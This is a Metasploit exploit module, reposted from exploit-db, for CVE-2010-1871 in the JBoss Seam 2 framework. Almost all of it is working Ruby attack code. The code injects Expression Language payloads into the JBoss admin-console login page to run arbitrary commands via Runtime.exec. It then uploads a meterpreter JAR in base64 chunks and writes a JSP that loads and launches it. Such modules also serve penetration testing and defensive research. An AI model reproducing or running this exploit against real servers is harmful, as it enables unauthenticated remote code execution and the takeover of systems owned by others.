JBoss Seam 2 – Arbitrary File Upload / Execution (Metasploit)

  • 作者: Metasploit
    日期: 2015-04-06
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/36653/
  • #
    # This module requires Metasploit: http//metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'rex/proto/http'
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::Report
    include Msf::Exploit::FileDropper
    
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'JBoss Seam 2 File Upload and Execute',
    'Description' => %q{
    Versions of the JBoss Seam 2 framework< 2.2.1CR2 fails to properly
    sanitize inputs to some JBoss Expression Language expressions.As a
    result, attackers can gain remote code execution through the
    application server.This module leverages RCE to upload and execute
    a meterpreter payload.
    
    Versions of the JBoss AS admin-console are known to be vulnerable to
    this exploit, without requiring authentication.Tested against
    JBoss AS 5 and 6, running on Linux with JDKs 6 and 7.
    
    This module provides a more efficient method of exploitation - it
    does not loop to find desired Java classes and methods.
    
    NOTE: the check for upload success is not 100% accurate.
    NOTE 2: The module uploads the meterpreter JAR and a JSP to launch
    it.
    
    },
    'Author'=> [ 'vulp1n3 <vulp1n3[at]gmail.com>' ],
    'References'=>
    [
    # JBoss EAP 4.3.0 does not properly sanitize JBoss EL inputs
    ['CVE', '2010-1871'],
    ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=615956'],
    ['URL', 'http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html'],
    ['URL', 'http://archives.neohapsis.com/archives/bugtraq/2013-05/0117.html']
    ],
    'DisclosureDate' => "Aug 05 2010",
    'License' => MSF_LICENSE,
    'Platform'=> %w{ java },
    'Targets' =>
    [
    [ 'Java Universal',
    {
    'Arch' => ARCH_JAVA,
    'Platform' => 'java'
    },
    ]
    ],
    'DefaultTarget' => 0
    ))
    
    register_options(
    [
    Opt::RPORT(8080),
    OptString.new('AGENT',[ true,"User-Agent to send with requests", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"]),
    OptString.new('CTYPE',[ true,"Content-Type to send with requests", "application/x-www-form-urlencoded"]),
    OptString.new('TARGETURI',[ true,"URI that is built on JBoss Seam 2", "/admin-console/login.seam"]),
    OptInt.new('TIMEOUT', [ true, 'Timeout for web requests', 10]),
    OptString.new('FNAME',[ false,"Name of file to create - NO EXTENSION! (default: random)", nil]),
    OptInt.new('CHUNKSIZE', [ false, 'Size in bytes of chunk per request', 1024]),
    ], self.class)
    end
    
    
    def check
    vprint_status("#{rhost}:#{rport} Checking for vulnerable JBoss Seam 2")
    uri = target_uri.path
    res = send_request_cgi(
    {
    'uri' => normalize_uri(uri),
    'method'=> 'POST',
    'ctype' => datastore['CTYPE'],
    'agent' => datastore['AGENT'],
    'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}"
    }, timeout=datastore['TIMEOUT'])
    if (res and res.code == 302 and res.headers['Location'])
    vprint_debug("Server sent a 302 with location")
    if (res.headers['Location'] =~ %r(public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime\%28\%29))
    report_vuln({
    :host => rhost,
    :port => rport,
    :name => "#{self.name} - #{uri}",
    :refs => self.references,
    :info => "Module #{self.fullname} found vulnerable JBoss Seam 2 resource."
    })
    return Exploit::CheckCode::Vulnerable
    else
    return Exploit::CheckCode::Safe
    end
    else
    return Exploit::CheckCode::Unknown
    end
    
    # If we reach this point, we didn't find the service
    return Exploit::CheckCode::Unknown
    end
    
    
    def execute_cmd(cmd)
    cmd_to_run = Rex::Text.uri_encode(cmd)
    vprint_status("#{rhost}:#{rport} Sending command: #{cmd_to_run}")
    uri = target_uri.path
    res = send_request_cgi(
    {
    'uri' => normalize_uri(uri),
    'method'=> 'POST',
    'ctype' => datastore['CTYPE'],
    'agent' => datastore['AGENT'],
    'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('#{cmd_to_run}')}"
    }, timeout=datastore['TIMEOUT'])
    if (res and res.code == 302 and res.headers['Location'])
    if (res.headers['Location'] =~ %r(user=java.lang.UNIXProcess))
    vprint_status("#{rhost}:#{rport} Exploit successful")
    else
    vprint_status("#{rhost}:#{rport} Exploit failed.")
    end
    else
    vprint_status("#{rhost}:#{rport} Exploit failed.")
    end
    end
    
    
    def call_jsp(jspname)
    # TODO ugly way to strip off last resource on a path
    uri = target_uri.path
    *keep,ignore = uri.split(/\//)
    keep.push(jspname)
    uri = keep.join("/")
    uri = "/" + uri if (uri[0] != "/")
    
    res = send_request_cgi(
    {
    'uri' => normalize_uri(uri),
    'method'=> 'POST',
    'ctype' => datastore['CTYPE'],
    'agent' => datastore['AGENT'],
    'data' => "sessionid=" + Rex::Text.rand_text_alpha(32)
    }, timeout=datastore['TIMEOUT'])
    if (res and res.code == 200)
    vprint_status("Successful request to JSP")
    else
    vprint_error("Failed to request JSP")
    end
    end
    
    
    def upload_jsp(filename,jarname)
    jsp_text = <<EOJSP
    <%@ page import="java.io.*"
    %><%@ page import="java.net.*"
    %><%
    URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("/#{jarname}")).toURI().toURL()});
    Class c = cl.loadClass("metasploit.Payload");
    c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});
    %>
    EOJSP
    vprint_status("Uploading JSP to launch payload")
    status = upload_file_chunk(filename,'false',jsp_text)
    if status
    vprint_status("JSP uploaded to to #{filename}")
    else
    vprint_error("Failed to upload file.")
    end
    
    @pl_sent = true
    end
    
    
    def upload_file_chunk(filename, append='false', chunk)
    # create URL-safe Base64-encoded version of chunk
    b64 = Rex::Text.encode_base64(chunk)
    b64 = b64.gsub("+","%2b")
    b64 = b64.gsub("/","%2f")
    
    uri = target_uri.path
    res = send_request_cgi(
    {
    'uri' => normalize_uri(uri),
    'method'=> 'POST',
    'ctype' => datastore['CTYPE'],
    'agent' => datastore['AGENT'],
    'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.io.FileOutputStream').getConstructor('java.lang.String',expressions.getClass().forName('java.lang.Boolean').getField('TYPE').get(null)).newInstance(request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/'),#{append}).write(expressions.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer(request.getParameter('c'))).close()}&c=" + b64
    }, timeout=datastore['TIMEOUT'])
    if (res and res.code == 302 and res.headers['Location'])
    # TODO Including the conversationId part in this regex might cause
    # failure on other Seam applications.Needs more testing
    if (res.headers['Location'] =~ %r(user=&conversationId))
    #vprint_status("#{rhost}:#{rport} Exploit successful.")
    return true
    else
    #vprint_status("#{rhost}:#{rport} Exploit failed.")
    return false
    end
    else
    #vprint_status("#{rhost}:#{rport} Exploit failed.")
    return false
    end
    end
    
    
    def get_full_path(filename)
    #vprint_debug("Trying to find full path for #{filename}")
    
    uri = target_uri.path
    res = send_request_cgi(
    {
    'uri' => normalize_uri(uri),
    'method'=> 'POST',
    'ctype' => datastore['CTYPE'],
    'agent' => datastore['AGENT'],
    'data' => "actionOutcome=/success.xhtml?user%3d%23{request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/')}"
    }, timeout=datastore['TIMEOUT'])
    if (res and res.code == 302 and res.headers['Location'])
    # the user argument should be set to the result of our call - which
    # will be the full path of our file
    matches = /.*user=(.+)\&.*/.match(res.headers['Location'])
    #vprint_debug("Location is " + res.headers['Location'])
    if (matches and matches.captures)
    return Rex::Text::uri_decode(matches.captures[0])
    else
    return nil
    end
    else
    return nil
    end
    end
    
    
    def java_stager(fname, chunk_size)
    @payload_exe = fname + ".jar"
    jsp_name = fname + ".jsp"
    
    #data = payload.encoded_jar.pack
    data = payload.encoded_jar.pack
    
    append = 'false'
    while (data.length > chunk_size)
    status = upload_file_chunk(@payload_exe, append, data[0, chunk_size])
    if status
    vprint_debug("Uploaded chunk")
    else
    vprint_error("Failed to upload chunk")
    break
    end
    data = data[chunk_size, data.length - chunk_size]
    # first chunk is an overwrite, afterwards, we need to append
    append = 'true'
    end
    status = upload_file_chunk(@payload_exe, 'true', data)
    if status
    vprint_status("Payload uploaded to " + @payload_exe)
    else
    vprint_error("Failed to upload file.")
    end
    
    # write a JSP that can call the payload in the jar
    upload_jsp(jsp_name, @payload_exe)
    
    pe_path = get_full_path(@payload_exe) || @payload_exe
    jsp_path = get_full_path(jsp_name) || jsp_name
    # try to clean up our stuff;
    register_files_for_cleanup(pe_path, jsp_path)
    
    # call the JSP to launch the payload
    call_jsp(jsp_name)
    end
    
    def exploit
    @pl_sent = false
    
    if check == Exploit::CheckCode::Vulnerable
    
    fname = datastore['FNAME'] || Rex::Text.rand_text_alpha(8+rand(8))
    
    vprint_status("#{rhost}:#{rport} Host is vulnerable")
    vprint_status("#{rhost}:#{rport} Uploading file...")
    
    # chunking code based on struts_code_exec_exception_delegator
    append = 'false'
    chunk_size = datastore['CHUNKSIZE']
    # sanity check
    if (chunk_size <= 0)
    vprint_error("Invalid chunk size #{chunk_size}")
    return
    end
    
    vprint_debug("Sending in chunks of #{chunk_size}")
    
    case target['Platform']
    when 'java'
    java_stager(fname, chunk_size)
    else
    fail_with(Failure::NoTarget, 'Unsupported target platform!')
    end
    
    handler
    end
    end
    end